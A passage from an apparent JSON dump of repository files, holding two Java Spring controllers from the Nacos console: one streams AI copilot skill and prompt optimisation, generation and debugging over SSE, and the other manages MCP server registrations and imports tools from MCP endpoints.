  {
    "path": "console/src/main/java/com/alibaba/nacos/console/controller/v3/ai/ConsoleCopilotController.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.controller.v3.ai;\n\nimport com.alibaba.nacos.api.annotation.NacosApi;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.copilot.adapter.StreamResponseCallback;\nimport com.alibaba.nacos.copilot.constant.CopilotConstants;\nimport com.alibaba.nacos.copilot.form.PromptDebugForm;\nimport com.alibaba.nacos.copilot.form.PromptOptimizationForm;\nimport com.alibaba.nacos.copilot.form.SkillGenerationForm;\nimport com.alibaba.nacos.copilot.form.SkillOptimizationForm;\nimport com.alibaba.nacos.copilot.model.PromptDebugRequest;\nimport com.alibaba.nacos.copilot.model.PromptDebugResponse;\nimport com.alibaba.nacos.copilot.model.PromptOptimizationRequest;\nimport com.alibaba.nacos.copilot.model.PromptOptimizationResponse;\nimport com.alibaba.nacos.copilot.model.SkillGenerationRequest;\nimport com.alibaba.nacos.copilot.model.SkillGenerationResponse;\nimport com.alibaba.nacos.copilot.model.SkillOptimizationRequest;\nimport com.alibaba.nacos.copilot.model.SkillOptimizationResponse;\nimport com.alibaba.nacos.copilot.service.PromptDebugService;\nimport com.alibaba.nacos.copilot.service.PromptOptimizationService;\nimport com.alibaba.nacos.copilot.service.SkillGenerationService;\nimport com.alibaba.nacos.copilot.service.SkillOptimizationService;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.api.ai.model.skills.Skill;\nimport com.alibaba.nacos.api.ai.model.skills.SkillResource;\nimport java.util.Map;\nimport java.util.HashMap;\nimport com.alibaba.nacos.core.paramcheck.ExtractorManager;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.plugin.auth.constant.ActionTypes;\nimport com.alibaba.nacos.plugin.auth.constant.ApiType;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.http.MediaType;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestBody;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\nimport org.springframework.web.servlet.mvc.method.annotation.SseEmitter;\n\nimport java.io.IOException;\n\n/**\n * Console Copilot controller.\n *\n * @author nacos\n */\n@NacosApi\n@RestController\n@RequestMapping(CopilotConstants.COPILOT_CONSOLE_PATH)\n@ExtractorManager.Extractor(httpExtractor = CopilotHttpParamExtractor.class)\npublic class ConsoleCopilotController {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(ConsoleCopilotController.class);\n    \n    private final SkillOptimizationService skillOptimizationService;\n    \n    private final SkillGenerationService skillGenerationService;\n    \n    private final PromptOptimizationService promptOptimizationService;\n    \n    private final PromptDebugService promptDebugService;\n    \n    @Autowired\n    public ConsoleCopilotController(SkillOptimizationService skillOptimizationService,\n                                    SkillGenerationService skillGenerationService,\n                                    PromptOptimizationService promptOptimizationService,\n                                    PromptDebugService promptDebugService) {\n        this.skillOptimizationService = skillOptimizationService;\n        this.skillGenerationService = skillGenerationService;\n        this.promptOptimizationService = promptOptimizationService;\n        this.promptDebugService = promptDebugService;\n    }\n    \n    /**\n     * Optimize skill with stream response (SSE).\n     *\n     * @param form skill optimization form\n     * @return SSE emitter for stream response\n     * @throws NacosException if validation fails\n     */\n    @PostMapping(value = CopilotConstants.SKILL_OPTIMIZE_PATH, produces = MediaType.TEXT_EVENT_STREAM_VALUE)\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI, apiType = ApiType.CONSOLE_API)\n    @SuppressWarnings(\"PMD.MethodTooLongRule\")\n    public SseEmitter optimizeSkillStream(@RequestBody(required = false) SkillOptimizationForm form) {\n        // Create SSE emitter with 5 minutes timeout\n        SseEmitter emitter = new SseEmitter(300000L);\n        \n        // Handle null form or missing request body\n        if (form == null) {\n            try {\n                SkillOptimizationResponse errorResponse = new SkillOptimizationResponse();\n                errorResponse.setDone(true);\n                errorResponse.setExplanation(\"请求体不能为空\");\n                emitter.send(SseEmitter.event()\n                        .data(JacksonUtils.toJson(errorResponse))\n                        .name(\"error\"));\n                emitter.complete();\n            } catch (IOException ioException) {\n                LOGGER.error(\"Failed to send error SSE event\", ioException);\n                emitter.completeWithError(ioException);\n            }\n            return emitter;\n        }\n        \n        try {\n            form.validate();\n        } catch (Exception e) {\n            LOGGER.error(\"Form validation failed\", e);\n            try {\n                SkillOptimizationResponse errorResponse = new SkillOptimizationResponse();\n                errorResponse.setDone(true);\n                errorResponse.setExplanation(\"请求验证失败：\" + e.getMessage());\n                emitter.send(SseEmitter.event()\n                        .data(JacksonUtils.toJson(errorResponse))\n                        .name(\"error\"));\n                emitter.complete();\n            } catch (IOException ioException) {\n                LOGGER.error(\"Failed to send validation error SSE event\", ioException);\n                emitter.complete();\n            }\n            return emitter;\n        }\n        \n        // Build request\n        SkillOptimizationRequest request = new SkillOptimizationRequest();\n        request.setSkill(form.getSkill());\n        request.setOptimizationGoal(form.getOptimizationGoal());\n        request.setConversationHistory(form.getConversationHistory());\n        request.setTargetFileName(form.getTargetFileName());\n        \n        // Set selectedMcpTools to params if provided\n        if (form.getSelectedMcpTools() != null && !form.getSelectedMcpTools().isEmpty()) {\n            java.util.Map<String, Object> params = new java.util.HashMap<>();\n            params.put(\"selectedMcpTools\", form.getSelectedMcpTools());\n            request.setParams(params);\n        }\n        \n        // Call optimization service with stream callback\n        skillOptimizationService.optimizeSkillStream(request, new StreamResponseCallback<SkillOptimizationResponse>() {\n            @Override\n            public void onNext(SkillOptimizationResponse response) {\n                try {\n                    // Filter out SKILL.md from resources before sending to frontend\n                    if (response != null && response.getOptimizedSkill() != null) {\n                        Skill optimizedSkill = response.getOptimizedSkill();\n                        if (optimizedSkill.getResource() != null && !optimizedSkill.getResource().isEmpty()) {\n                            Map<String, SkillResource> filteredResources = new HashMap<>(optimizedSkill.getResource().size());\n                            boolean hasFiltered = false;\n                            \n                            for (Map.Entry<String, SkillResource> entry : optimizedSkill.getResource().entrySet()) {\n                                String key = entry.getKey();\n                                SkillResource resource = entry.getValue();\n                                \n                                // Check if resource name or key is SKILL.md (case-insensitive)\n                                String resourceName = resource != null && resource.getName() != null \n                                    ? resource.getName() : \"\";\n                                String resourceKey = key != null ? key : \"\";\n                                \n                                boolean isSkillMd = \"SKILL.MD\".equalsIgnoreCase(resourceName) \n                                    || \"SKILL.MD\".equalsIgnoreCase(resourceKey)\n                                    || resourceName.toUpperCase().contains(\"SKILL.MD\")\n                                    || resourceKey.toUpperCase().contains(\"SKILL.MD\");\n                                \n                                if (isSkillMd) {\n                                    hasFiltered = true;\n                                    LOGGER.warn(\"Filtered out SKILL.md resource: key={}, name={}\", key, resourceName);\n                                    continue;\n                                }\n                                \n                                filteredResources.put(key, resource);\n                            }\n                            \n                            if (hasFiltered) {\n                                optimizedSkill.setResource(filteredResources);\n                                response.setOptimizedSkill(optimizedSkill);\n                            }\n                        }\n                    }\n                    \n                    // Send SSE event\n                    emitter.send(SseEmitter.event()\n                            .data(JacksonUtils.toJson(response))\n                            .name(\"message\"));\n                } catch (IOException e) {\n                    LOGGER.error(\"Failed to send SSE event\", e);\n                    try {\n                        SkillOptimizationResponse errorResponse = new SkillOptimizationResponse();\n                        errorResponse.setDone(true);\n                        errorResponse.setExplanation(\"流式响应发送失败：\" + e.getMessage());\n                        emitter.send(SseEmitter.event()\n                                .data(JacksonUtils.toJson(errorResponse))\n                                .name(\"error\"));\n                        emitter.complete();\n                    } catch (IOException ioException) {\n                        LOGGER.error(\"Failed to send error SSE event\", ioException);\n                        emitter.complete();\n                    }\n                }\n            }\n            \n            @Override\n            public void onError(Throwable t) {\n                LOGGER.error(\"Error in skill optimization stream\", t);\n                try {\n                    // Send error response\n                    SkillOptimizationResponse errorResponse = new SkillOptimizationResponse();\n                    errorResponse.setDone(true);\n                    errorResponse.setExplanation(\"优化失败：\" + t.getMessage());\n                    emitter.send(SseEmitter.event()\n                            .data(JacksonUtils.toJson(errorResponse))\n                            .name(\"error\"));\n                    emitter.complete();\n                } catch (IOException e) {\n                    LOGGER.error(\"Failed to send error SSE event\", e);\n                    emitter.complete();\n                }\n            }\n            \n            @Override\n            public void onComplete() {\n                emitter.complete();\n            }\n        });\n        \n        return emitter;\n    }\n    \n    /**\n     * Generate skill from background information with stream response (SSE).\n     *\n     * @param form skill generation form\n     * @return SSE emitter for stream response\n     * @throws NacosException if validation fails\n     */\n    @PostMapping(value = CopilotConstants.SKILL_GENERATE_PATH, produces = MediaType.TEXT_EVENT_STREAM_VALUE)\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI, apiType = ApiType.CONSOLE_API)\n    @SuppressWarnings(\"PMD.MethodTooLongRule\")\n    public SseEmitter generateSkillStream(@RequestBody(required = false) SkillGenerationForm form) {\n        // Create SSE emitter with 5 minutes timeout\n        SseEmitter emitter = new SseEmitter(300000L);\n        \n        // Handle null form or missing request body\n        if (form == null) {\n            try {\n                SkillGenerationResponse errorResponse = new SkillGenerationResponse();\n                errorResponse.setDone(true);\n                errorResponse.setExplanation(\"请求体不能为空\");\n                emitter.send(SseEmitter.event()\n                        .data(JacksonUtils.toJson(errorResponse))\n                        .name(\"error\"));\n                emitter.complete();\n            } catch (IOException ioException) {\n                LOGGER.error(\"Failed to send error SSE event\", ioException);\n                emitter.completeWithError(ioException);\n            }\n            return emitter;\n        }\n        \n        try {\n            form.validate();\n        } catch (Exception e) {\n            LOGGER.error(\"Form validation failed\", e);\n            try {\n                SkillGenerationResponse errorResponse = new SkillGenerationResponse();\n                errorResponse.setDone(true);\n                errorResponse.setExplanation(\"请求验证失败：\" + e.getMessage());\n                emitter.send(SseEmitter.event()\n                        .data(JacksonUtils.toJson(errorResponse))\n                        .name(\"error\"));\n                emitter.complete();\n            } catch (IOException ioException) {\n                LOGGER.error(\"Failed to send validation error SSE event\", ioException);\n                emitter.complete();\n            }\n            return emitter;\n        }\n        \n        // Build request\n        SkillGenerationRequest request = new SkillGenerationRequest();\n        request.setBackgroundInfo(form.getBackgroundInfo());\n        request.setSelectedMcpTools(form.getSelectedMcpTools());\n        request.setConversationHistory(form.getConversationHistory());\n        \n        // Call generation service with stream callback\n        skillGenerationService.generateSkillStream(request, new StreamResponseCallback<SkillGenerationResponse>() {\n            @Override\n            public void onNext(SkillGenerationResponse response) {\n                try {\n                    // Send SSE event\n                    emitter.send(SseEmitter.event()\n                            .data(JacksonUtils.toJson(response))\n                            .name(\"message\"));\n                } catch (IOException e) {\n                    LOGGER.error(\"Failed to send SSE event\", e);\n                    try {\n                        SkillGenerationResponse errorResponse = new SkillGenerationResponse();\n                        errorResponse.setDone(true);\n                        errorResponse.setExplanation(\"流式响应发送失败：\" + e.getMessage());\n                        emitter.send(SseEmitter.event()\n                                .data(JacksonUtils.toJson(errorResponse))\n                                .name(\"error\"));\n                        emitter.complete();\n                    } catch (IOException ioException) {\n                        LOGGER.error(\"Failed to send error SSE event\", ioException);\n                        emitter.complete();\n                    }\n                }\n            }\n            \n            @Override\n            public void onError(Throwable t) {\n                LOGGER.error(\"Error in skill generation stream\", t);\n                try {\n                    // Send error response\n                    SkillGenerationResponse errorResponse = new SkillGenerationResponse();\n                    errorResponse.setDone(true);\n                    errorResponse.setExplanation(\"生成失败：\" + t.getMessage());\n                    emitter.send(SseEmitter.event()\n                            .data(JacksonUtils.toJson(errorResponse))\n                            .name(\"error\"));\n                    emitter.complete();\n                } catch (IOException e) {\n                    LOGGER.error(\"Failed to send error SSE event\", e);\n                    emitter.complete();\n                }\n            }\n            \n            @Override\n            public void onComplete() {\n                emitter.complete();\n            }\n        });\n        \n        return emitter;\n    }\n    \n    /**\n     * Optimize prompt with stream response (SSE).\n     *\n     * @param form prompt optimization form\n     * @return SSE emitter for stream response\n     * @throws NacosException if validation fails\n     */\n    @PostMapping(value = CopilotConstants.PROMPT_OPTIMIZE_PATH, produces = MediaType.TEXT_EVENT_STREAM_VALUE)\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI, apiType = ApiType.CONSOLE_API)\n    @SuppressWarnings(\"PMD.MethodTooLongRule\")\n    public SseEmitter optimizePromptStream(@RequestBody(required = false) PromptOptimizationForm form) {\n        // Create SSE emitter with 5 minutes timeout\n        SseEmitter emitter = new SseEmitter(300000L);\n        \n        // Handle null form or missing request body\n        if (form == null) {\n            try {\n                PromptOptimizationResponse errorResponse = new PromptOptimizationResponse();\n                errorResponse.setDone(true);\n                errorResponse.setExplanation(\"请求体不能为空\");\n                emitter.send(SseEmitter.event()\n                        .data(JacksonUtils.toJson(errorResponse))\n                        .name(\"error\"));\n                emitter.complete();\n            } catch (IOException ioException) {\n                LOGGER.error(\"Failed to send error SSE event\", ioException);\n                emitter.completeWithError(ioException);\n            }\n            return emitter;\n        }\n        \n        try {\n            form.validate();\n        } catch (Exception e) {\n            LOGGER.error(\"Form validation failed\", e);\n            try {\n                PromptOptimizationResponse errorResponse = new PromptOptimizationResponse();\n                errorResponse.setDone(true);\n                errorResponse.setExplanation(\"请求验证失败：\" + e.getMessage());\n                emitter.send(SseEmitter.event()\n                        .data(JacksonUtils.toJson(errorResponse))\n                        .name(\"error\"));\n                emitter.complete();\n            } catch (IOException ioException) {\n                LOGGER.error(\"Failed to send validation error SSE event\", ioException);\n                emitter.complete();\n            }\n            return emitter;\n        }\n        \n        // Build request\n        PromptOptimizationRequest request = new PromptOptimizationRequest();\n        request.setPrompt(form.getPrompt());\n        request.setOptimizationGoal(form.getOptimizationGoal());\n        \n        // Call optimization service with stream callback\n        promptOptimizationService.optimizePromptStream(request, new StreamResponseCallback<PromptOptimizationResponse>() {\n            @Override\n            public void onNext(PromptOptimizationResponse response) {\n                try {\n                    // Send SSE event\n                    emitter.send(SseEmitter.event()\n                            .data(JacksonUtils.toJson(response))\n                            .name(\"message\"));\n                } catch (IOException e) {\n                    LOGGER.error(\"Failed to send SSE event\", e);\n                    try {\n                        PromptOptimizationResponse errorResponse = new PromptOptimizationResponse();\n                        errorResponse.setDone(true);\n                        errorResponse.setExplanation(\"流式响应发送失败：\" + e.getMessage());\n                        emitter.send(SseEmitter.event()\n                                .data(JacksonUtils.toJson(errorResponse))\n                                .name(\"error\"));\n                        emitter.complete();\n                    } catch (IOException ioException) {\n                        LOGGER.error(\"Failed to send error SSE event\", ioException);\n                        emitter.complete();\n                    }\n                }\n            }\n            \n            @Override\n            public void onError(Throwable t) {\n                LOGGER.error(\"Error in prompt optimization stream\", t);\n                try {\n                    // Send error response\n                    PromptOptimizationResponse errorResponse = new PromptOptimizationResponse();\n                    errorResponse.setDone(true);\n                    errorResponse.setExplanation(\"优化失败：\" + t.getMessage());\n                    emitter.send(SseEmitter.event()\n                            .data(JacksonUtils.toJson(errorResponse))\n                            .name(\"error\"));\n                    emitter.complete();\n                } catch (IOException e) {\n                    LOGGER.error(\"Failed to send error SSE event\", e);\n                    emitter.complete();\n                }\n            }\n            \n            @Override\n            public void onComplete() {\n                emitter.complete();\n            }\n        });\n        \n        return emitter;\n    }\n    \n    /**\n     * Debug prompt with stream response (SSE).\n     * This allows testing a prompt with user input and returns the model's response including thinking.\n     *\n     * @param form prompt debug form containing prompt and user input\n     * @return SSE emitter for stream response\n     * @throws NacosException if validation fails\n     */\n    @PostMapping(value = CopilotConstants.PROMPT_DEBUG_PATH, produces = MediaType.TEXT_EVENT_STREAM_VALUE)\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI, apiType = ApiType.CONSOLE_API)\n    @SuppressWarnings(\"PMD.MethodTooLongRule\")\n    public SseEmitter debugPromptStream(@RequestBody(required = false) PromptDebugForm form) {\n        // Create SSE emitter with 5 minutes timeout\n        SseEmitter emitter = new SseEmitter(300000L);\n        \n        // Handle null form or missing request body\n        if (form == null) {\n            try {\n                PromptDebugResponse errorResponse = new PromptDebugResponse();\n                errorResponse.setDone(true);\n                emitter.send(SseEmitter.event()\n                        .data(JacksonUtils.toJson(errorResponse))\n                        .name(\"error\"));\n                emitter.complete();\n            } catch (IOException ioException) {\n                LOGGER.error(\"Failed to send error SSE event\", ioException);\n                emitter.completeWithError(ioException);\n            }\n            return emitter;\n        }\n        \n        try {\n            form.validate();\n        } catch (Exception e) {\n            LOGGER.error(\"Form validation failed\", e);\n            try {\n                PromptDebugResponse errorResponse = new PromptDebugResponse();\n                errorResponse.setDone(true);\n                emitter.send(SseEmitter.event()\n                        .data(JacksonUtils.toJson(errorResponse))\n                        .name(\"error\"));\n                emitter.complete();\n            } catch (IOException ioException) {\n                LOGGER.error(\"Failed to send validation error SSE event\", ioException);\n                emitter.complete();\n            }\n            return emitter;\n        }\n        \n        // Build request\n        PromptDebugRequest request = new PromptDebugRequest();\n        request.setPrompt(form.getPrompt());\n        request.setUserInput(form.getUserInput());\n        \n        // Call debug service with stream callback\n        promptDebugService.debugPromptStream(request, new StreamResponseCallback<PromptDebugResponse>() {\n            @Override\n            public void onNext(PromptDebugResponse response) {\n                try {\n                    // Send SSE event\n                    emitter.send(SseEmitter.event()\n                            .data(JacksonUtils.toJson(response))\n                            .name(\"message\"));\n                } catch (IOException e) {\n                    LOGGER.error(\"Failed to send SSE event\", e);\n                    try {\n                        PromptDebugResponse errorResponse = new PromptDebugResponse();\n                        errorResponse.setDone(true);\n                        emitter.send(SseEmitter.event()\n                                .data(JacksonUtils.toJson(errorResponse))\n                                .name(\"error\"));\n                        emitter.complete();\n                    } catch (IOException ioException) {\n                        LOGGER.error(\"Failed to send error SSE event\", ioException);\n                        emitter.complete();\n                    }\n                }\n            }\n            \n            @Override\n            public void onError(Throwable t) {\n                LOGGER.error(\"Error in prompt debug stream\", t);\n                try {\n                    // Send error response\n                    PromptDebugResponse errorResponse = new PromptDebugResponse();\n                    errorResponse.setDone(true);\n                    emitter.send(SseEmitter.event()\n                            .data(JacksonUtils.toJson(errorResponse))\n                            .name(\"error\"));\n                    emitter.complete();\n                } catch (IOException e) {\n                    LOGGER.error(\"Failed to send error SSE event\", e);\n                    emitter.complete();\n                }\n            }\n            \n            @Override\n            public void onComplete() {\n                emitter.complete();\n            }\n        });\n        \n        return emitter;\n    }\n    \n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/controller/v3/ai/ConsoleMcpController.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.controller.v3.ai;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.ai.form.mcp.admin.McpDetailForm;\nimport com.alibaba.nacos.ai.form.mcp.admin.McpForm;\nimport com.alibaba.nacos.ai.form.mcp.admin.McpImportForm;\nimport com.alibaba.nacos.ai.form.mcp.admin.McpListForm;\nimport com.alibaba.nacos.ai.form.mcp.admin.McpUpdateForm;\nimport com.alibaba.nacos.ai.param.McpHttpParamExtractor;\nimport com.alibaba.nacos.ai.utils.McpRequestUtil;\nimport com.alibaba.nacos.api.ai.model.mcp.McpEndpointSpec;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerBasicInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerDetailInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerImportRequest;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerImportResponse;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerImportValidationResult;\nimport com.alibaba.nacos.api.ai.model.mcp.McpToolSpecification;\nimport com.alibaba.nacos.api.annotation.NacosApi;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.api.utils.StringUtils;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.console.proxy.ai.McpProxy;\nimport com.alibaba.nacos.core.model.form.PageForm;\nimport com.alibaba.nacos.core.paramcheck.ExtractorManager;\nimport com.alibaba.nacos.plugin.auth.constant.ActionTypes;\nimport com.alibaba.nacos.plugin.auth.constant.ApiType;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport io.modelcontextprotocol.client.McpClient;\nimport io.modelcontextprotocol.client.McpSyncClient;\nimport io.modelcontextprotocol.client.transport.HttpClientSseClientTransport;\nimport io.modelcontextprotocol.client.transport.HttpClientStreamableHttpTransport;\nimport io.modelcontextprotocol.spec.McpClientTransport;\nimport io.modelcontextprotocol.spec.McpSchema;\nimport org.springframework.web.bind.annotation.DeleteMapping;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.PutMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport java.time.Duration;\nimport java.util.List;\n\nimport static com.alibaba.nacos.api.ai.constant.AiConstants.Mcp.MCP_PROTOCOL_SSE;\nimport static com.alibaba.nacos.api.ai.constant.AiConstants.Mcp.MCP_PROTOCOL_STREAMABLE;\n\n/**\n * Nacos Console AI MCP Server Constants.\n *\n * @author xiweng.yy\n */\n@NacosApi\n@RestController\n@RequestMapping(Constants.MCP_CONSOLE_PATH)\n@ExtractorManager.Extractor(httpExtractor = McpHttpParamExtractor.class)\npublic class ConsoleMcpController {\n    \n    private final McpProxy mcpProxy;\n    \n    public ConsoleMcpController(McpProxy mcpProxy) {\n        this.mcpProxy = mcpProxy;\n    }\n    \n    /**\n     * List mcp server.\n     *\n     * @param mcpListForm list mcp servers request form\n     * @param pageForm    page info\n     * @return mcp server list wrapper with {@link Result}\n     * @throws NacosApiException if request parameter is invalid or handle error\n     */\n    @GetMapping(value = \"/list\")\n    @Secured(action = ActionTypes.READ, signType = SignType.AI, apiType = ApiType.CONSOLE_API)\n    public Result<Page<McpServerBasicInfo>> listMcpServers(McpListForm mcpListForm, PageForm pageForm)\n            throws NacosException {\n        mcpListForm.validate();\n        pageForm.validate();\n        return Result.success(\n                mcpProxy.listMcpServers(mcpListForm.getNamespaceId(), mcpListForm.getMcpName(), mcpListForm.getSearch(),\n                        pageForm.getPageNo(), pageForm.getPageSize()));\n    }\n    \n    /**\n     * Import tools from mcp result.\n     *\n     * @param transportType the transport type\n     * @param baseUrl       the base url\n     * @param endpoint      the endpoint\n     * @return the result\n     * @throws NacosException the nacos exception\n     */\n    @GetMapping(\"/importToolsFromMcp\")\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI, apiType = ApiType.CONSOLE_API)\n    public Result<List<McpSchema.Tool>> importToolsFromMcp(@RequestParam String transportType,\n            @RequestParam String baseUrl, @RequestParam String endpoint,\n            @RequestParam(required = false) String authToken) throws NacosException {\n        McpClientTransport transport = null;\n        if (StringUtils.equals(transportType, MCP_PROTOCOL_SSE)) {\n            HttpClientSseClientTransport.Builder transportBuilder = HttpClientSseClientTransport.builder(baseUrl)\n                    .sseEndpoint(endpoint);\n            if (!StringUtils.isBlank(authToken)) {\n                transportBuilder.customizeRequest(req -> req.header(\"Authorization\", \"Bearer \" + authToken));\n            }\n            transport = transportBuilder.build();\n        } else if (StringUtils.equals(transportType, MCP_PROTOCOL_STREAMABLE)) {\n            HttpClientStreamableHttpTransport.Builder transportBuilder = HttpClientStreamableHttpTransport.builder(\n                    baseUrl).endpoint(endpoint);\n            if (!StringUtils.isBlank(authToken)) {\n                transportBuilder.customizeRequest(req -> req.header(\"Authorization\", \"Bearer \" + authToken));\n            }\n            transport = transportBuilder.build();\n        } else {\n            return Result.failure(ErrorCode.SERVER_ERROR.getCode(), \"Unsupported transport type: \" + transportType,\n                    null);\n        }\n        try (McpSyncClient client = McpClient.sync(transport).requestTimeout(Duration.ofSeconds(10)).build()) {\n            client.initialize();\n            McpSchema.ListToolsResult tools = client.listTools();\n            return Result.success(tools.tools());\n        } catch (Exception e) {\n            // 可以记录日志或抛出 NacosException\n            throw new NacosException(NacosException.SERVER_ERROR, \"Failed to import tools from MCP server\", e);\n        }\n    }\n    \n    /**\n     * Get specified mcp server detail info.\n     *\n     * @param mcpForm get mcp server request form\n     * @return detail info with {@link McpServerDetailInfo}\n     * @throws NacosException any exception during handling\n     */\n    @GetMapping\n    @Secured(action = ActionTypes.READ, signType = SignType.AI, apiType = ApiType.CONSOLE_API)\n    public Result<McpServerDetailInfo> getMcpServer(McpForm mcpForm) throws NacosException {\n        mcpForm.validate();\n        return Result.success(mcpProxy.getMcpServer(mcpForm.getNamespaceId(), mcpForm.getMcpName(), mcpForm.getMcpId(),\n                mcpForm.getVersion()));\n    }\n    \n    /**\n     * Create new mcp server.\n     *\n     * @param mcpForm create mcp server request form\n     * @throws NacosException any exception during handling\n     */\n    @PostMapping\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI, apiType = ApiType.CONSOLE_API)\n    public Result<String> createMcpServer(McpDetailForm mcpForm) throws NacosException {\n        mcpForm.validate();\n        McpServerBasicInfo basicInfo = McpRequestUtil.parseMcpServerBasicInfo(mcpForm);\n        McpToolSpecification mcpTools = McpRequestUtil.parseMcpTools(mcpForm);\n        McpEndpointSpec endpointSpec = McpRequestUtil.parseMcpEndpointSpec(basicInfo, mcpForm);\n        String mcpId = mcpProxy.createMcpServer(mcpForm.getNamespaceId(), basicInfo, mcpTools, endpointSpec);\n        return Result.success(mcpId);\n    }\n    \n    /**\n     * Update existed mcp server.\n     *\n     * <p>\n     * `namespaceId` and `mcpName` can't be changed.\n     * </p>\n     *\n     * @param mcpForm update mcp servers request form\n     * @throws NacosException any exception during handling\n     */\n    @PutMapping\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI, apiType = ApiType.CONSOLE_API)\n    public Result<String> updateMcpServer(McpUpdateForm mcpForm) throws NacosException {\n        mcpForm.validate();\n        McpServerBasicInfo basicInfo = McpRequestUtil.parseMcpServerBasicInfo(mcpForm);\n        McpToolSpecification mcpTools = McpRequestUtil.parseMcpTools(mcpForm);\n        McpEndpointSpec endpointSpec = McpRequestUtil.parseMcpEndpointSpec(basicInfo, mcpForm);\n        mcpProxy.updateMcpServer(mcpForm.getNamespaceId(), mcpForm.getLatest(), basicInfo, mcpTools, endpointSpec,\n                mcpForm.isOverrideExisting());\n        return Result.success(\"ok\");\n    }\n    \n    /**\n     * Delete existed mcp server.\n     *\n     * @param mcpForm delete mcp server request form\n     * @throws NacosException any exception during handling\n     */\n    @DeleteMapping\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI, apiType = ApiType.CONSOLE_API)\n    public Result<String> deleteMcpServer(McpForm mcpForm) throws NacosException {\n        mcpForm.validate();\n        mcpProxy.deleteMcpServer(mcpForm.getNamespaceId(), mcpForm.getMcpName(), mcpForm.getMcpId(),\n                mcpForm.getVersion());\n        return Result.success(\"ok\");\n    }\n    \n    /**\n     * Validate MCP server import request.\n     *\n     * @param mcpImportForm import request form\n     * @return validation result with details about potential issues\n     * @throws NacosException any exception during validation\n     */\n    @PostMapping(\"/import/validate\")\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI, apiType = ApiType.CONSOLE_API)\n    public Result<McpServerImportValidationResult> validateImport(McpImportForm mcpImportForm) throws NacosException {\n        mcpImportForm.validate();\n        McpServerImportRequest request = convertToImportRequest(mcpImportForm);\n        McpServerImportValidationResult result = mcpProxy.validateImport(mcpImportForm.getNamespaceId(), request);\n        return Result.success(result);\n    }\n    \n    /**\n     * Execute MCP server import operation.\n     *\n     * @param mcpImportForm import request form\n     * @return import response with results and statistics\n     * @throws NacosException any exception during import execution\n     */\n    @PostMapping(\"/import/execute\")\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI, apiType = ApiType.CONSOLE_API)\n    public Result<McpServerImportResponse> executeImport(McpImportForm mcpImportForm) throws NacosException {\n        mcpImportForm.validate();\n        McpServerImportRequest request = convertToImportRequest(mcpImportForm);\n        McpServerImportResponse response = mcpProxy.executeImport(mcpImportForm.getNamespaceId(), request);\n        return Result.success(response);\n    }\n    \n    /**\n     * Convert McpImportForm to McpServerImportRequest.\n     *\n     * @param form the form from HTTP request\n     * @return the import request for service layer\n     */\n    private McpServerImportRequest convertToImportRequest(McpImportForm form) {\n        McpServerImportRequest request = new McpServerImportRequest();\n        request.setImportType(form.getImportType());\n        request.setData(form.getData());\n        request.setOverrideExisting(form.isOverrideExisting());\n        request.setValidateOnly(form.isValidateOnly());\n        request.setSkipInvalid(form.isSkipInvalid());\n        request.setSelectedServers(form.getSelectedServers());\n        // Optional URL pagination parameters\n        request.setCursor(form.getCursor());\n        request.setLimit(form.getLimit());\n        // Optional registry search parameter\n        request.setSearch(form.getSearch());\n        return request;\n    }\n}\n"
  },
  {
